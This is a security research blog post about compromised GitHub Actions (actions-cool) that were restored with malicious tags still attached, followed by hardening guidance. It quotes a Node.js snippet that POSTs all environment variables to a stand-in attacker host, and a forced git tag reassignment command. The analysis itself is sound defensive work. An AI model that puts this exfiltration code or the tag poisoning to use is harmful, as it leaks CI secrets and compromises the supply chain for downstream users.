Zombie GitHub Actions: How Restored Repositories Resumed Mini Shai-Hulud Malware

🛡️ Verified Threat IntelDigitalSpying Research Desk
📅 September 28, 2026⏱️ 6 min read

Date: September 28, 2026

Author: Threat Research & Intelligence Team, Digital Spying

Category: CI/CD Security / Software Supply Chain / GitHub Actions / DevSecOps

Tags: GitHub Actions, Supply Chain Attack, Mini Shai-Hulud, actions-cool, CI/CD, Git Tags, Secrets Exfiltration, DevSecOps

Executive Summary

One of the most dangerous fallacies in modern DevSecOps is the assumption that once a malicious supply chain repository is taken down by a registry maintainer, the threat is permanently neutralized. In late September 2026, research published by Socket and reported by The Hacker News and Aviatrix revealed an alarming supply chain relapse: two popular GitHub Actions that had been shut down in May 2026 following a major breach were suddenly re-enabled on GitHub—with their malicious release tags fully intact.

The affected actions—actions-cool/issues-helper and actions-cool/maintain-one-comment—are utilized by thousands of public and private corporate repositories to automate issue triage, pull request workflows, and repository administration.

When the repositories were unexpectedly made accessible again on September 16, 2026, their mutable Git version tags (such as @v2.2.1) still pointed to the malicious commits planted during the May 2026 Mini Shai-Hulud campaign. As a result, thousands of CI/CD runners around the globe automatically resumed downloading and executing credential-harvesting payloads during normal build and deployment cycles, leaking GITHUB_TOKEN secrets and environment variables until GitHub re-disabled the accounts on September 25.

Technical Deep-Dive: Deconstructing the Zombie GitHub Actions Attack

To understand how a deactivated supply chain threat resurrected inside automated CI/CD pipelines, we examine Git tag mutability, GitHub Actions runner resolution mechanics, and the Mini Shai-Hulud payload architecture.+-----------------------------------------------------------------------------------+

| ZOMBIE GITHUB ACTIONS SUPPLY CHAIN RESURRECTION FLOW |

|---|

Victim CI/CD Pipeline (`.github/workflows/*.yml`) GitHub Platform / Registry Attacker C2 Exfiltration Server

| | |

| 1. Workflow specifies mutable version tag: | |

| `uses: actions-cool/issues-helper@v2.2.1` | |

| (Historical context: Disabled May 2026) | |

|------------------------------------------------>| |

| | |

| 2. May 2026 - Sept 15, 2026: | |

| Runner fails or action skipped | |

| (Repository disabled by GitHub Staff) | |

| | |

| 3. Sept 16, 2026 - REPOSITORY RESTORED! | |

| - GitHub un-disables `actions-cool` | |

| - [SECURITY FAILURE] Malicious tags | |

| were NEVER purged or reverted! | |

| | |

| 4. Next scheduled CI/CD workflow triggers: | |

| Runner requests `v2.2.1` ref | |

|------------------------------------------------>| |

| | |

| 5. GitHub resolves tag `v2.2.1` to | |

| compromised commit SHA! | |

| Dispatches Mini Shai-Hulud payload code | |

|<------------------------------------------------| |

| |

| 6. Action runs on CI/CD runner: |

| - Reads process environment variables |

| - Harvests `GITHUB_TOKEN`, AWS keys, npm secrets |

|------------------------------------------------------------------------------------------------>|

| 7. Exfiltrates enterprise secrets to external endpoint! |

|<================================================================================================|

1. The Vulnerability of Mutable Git Tags

In GitHub Actions, workflows reference third-party actions using the syntax owner/repo@ref. The ref can be a branch, a Git tag, or a 40-character commit SHA:

* The Mutable Tag Trap: Almost all documentation encourages developers to reference major or minor version tags:- name: Triage Issues

uses: actions-cool/issues-helper@v2.2.1

* Git Tag Reassignment: Unlike commit SHAs, Git tags are mutable pointers. A repository maintainer (or an attacker with commit access) can reassign the v2.2.1 tag to point to a completely different commit containing malicious code:# Malicious actor reassigning an existing tag to an exploit commit

git tag -fa v2.2.1 -m "Update release"

git push origin v2.2.1 --force

* When downstream workflows run, the GitHub runner queries the remote repository, resolves v2.2.1 to the attacker’s new commit, and executes the payload without any notification to the pipeline owner.

2. The Mini Shai-Hulud Payload Execution

The payload embedded inside actions-cool/issues-helper was designed to execute transparently on Linux runner environments:

* Obfuscated JavaScript Hook: Inside the action's index.js entrypoint, the attackers injected a Node.js script that executed prior to the legitimate issue-handling logic.

* Environment Siphoning:// Extracted logic from Mini Shai-Hulud payload

const https = require('https');

const envData = JSON.stringify(process.env);

const req = https.request({

hostname: 'api.attacker-telemetry.com',

port: 443,

path: '/collect',

method: 'POST',

headers: { 'Content-Type': 'application/json' }

});

req.write(envData);

req.end();

* Harvested Secrets: In standard GitHub Actions configurations, runners possess access to:

* GITHUB_TOKEN: Which, if configured with default read/write permissions, allows attackers to push commits, create releases, or modify repository settings.

* Secrets injected into the workflow step, including AWS/GCP deployment credentials, Docker Hub tokens, and npm publishing keys.

3. The Platform Relapse: How Disabled Became Active

When GitHub Staff disabled the actions-cool organization in May 2026, incoming requests to those actions failed, alerting organizations to remove or isolate them.

* However, many repositories simply left the lines commented out or preserved in legacy branches.

* On September 16, 2026, administrative changes or appeal reviews resulted in the repositories becoming publicly visible once more.

* Because GitHub's unban mechanism does not automatically scrub Git ref histories or verify release integrity, the malicious tag states from May 18 were instantly reactivated.

* Any active CI/CD pipeline that still referenced actions-cool seamlessly fetched the payload and began exfiltrating credentials once more.

Strategic CI/CD Threat Impact: The Fragility of Developer Workflows

This incident highlights systemic flaws in modern continuous integration pipelines:

* The False Sense of Platform Safety: Security teams frequently assume that repository hosting providers will thoroughly disinfect repositories before lifting suspensions.

* Widespread Exposure of Enterprise Secrets: Because CI/CD runners act as the trusted bridge between source code and production cloud deployments, a single compromised action can compromise entire cloud infrastructures.

Defensive Hardening Blueprint: Securing GitHub Actions

DevOps engineers and security architects must implement strict controls to eliminate mutable tag vulnerabilities:

1. Mandatory Commit SHA Pinning

Never reference third-party GitHub Actions by branch name (@main) or Git tag (@v2, @v2.2.1). Always pin actions to the full, immutable 40-character commit SHA:# SECURE CONFIGURATION: Pinned to immutable commit SHA

- name: Close Stale Issues

uses: actions-cool/issues-helper@b4ffde65f46336ab88eb53be808477a3936bae11 # v2.2.1

A commit SHA is cryptographically tied to the exact source code contents and cannot be manipulated by an attacker who modifies or deletes tags.

2. Automate SHA Pinning with Open-Source Linters

Enforce SHA pinning across your enterprise using automated policy tools:

* Use StepSecurity Secure Workflows or zizmor to scan all .github/workflows files:# Audit GitHub Actions workflows for security anti-patterns

zizmor .github/workflows/

* Configure Dependabot to automatically maintain and update commit SHA comments:# .github/dependabot.yml

version: 2

updates:

- package-ecosystem: "github-actions"

directory: "/"

schedule:

interval: "weekly"

3. Enforce Minimal GITHUB_TOKEN Permissions

Restrict default permissions granted to the runner's built-in token:

* Set default workflow permissions to read-all or define specific permissions per job:

permissions:

contents: read

issues: write

pull-requests: write

Never grant write-all permissions to third-party action steps.

4. Immediate Incident Response Protocol

For any team that ran actions-cool workflows between September 16 and September 25, 2026:

* Immediately audit GitHub Actions execution logs for runs during this window.

* Invalidate and rotate all secrets, API tokens, and cloud credentials exposed in environments where the runner executed.

* Enable GitHub Secret Scanning to monitor for leaked tokens in public repositories.

For technical supply chain teardowns, CI/CD hardening architectures, and DevSecOps research, subscribe to Digital Spying.

Classification:Cyber Security IntelligenceZero-Day AnalysisDefensive Engineering
🛡️

About the DigitalSpying Research Desk

The DigitalSpying Threat Intelligence Desk is composed of seasoned security researchers, reverse engineers, and blue team architects. Our mission is to publish reproducible, peer-audited threat analyses, hardware security evaluations, and defensive countermeasures.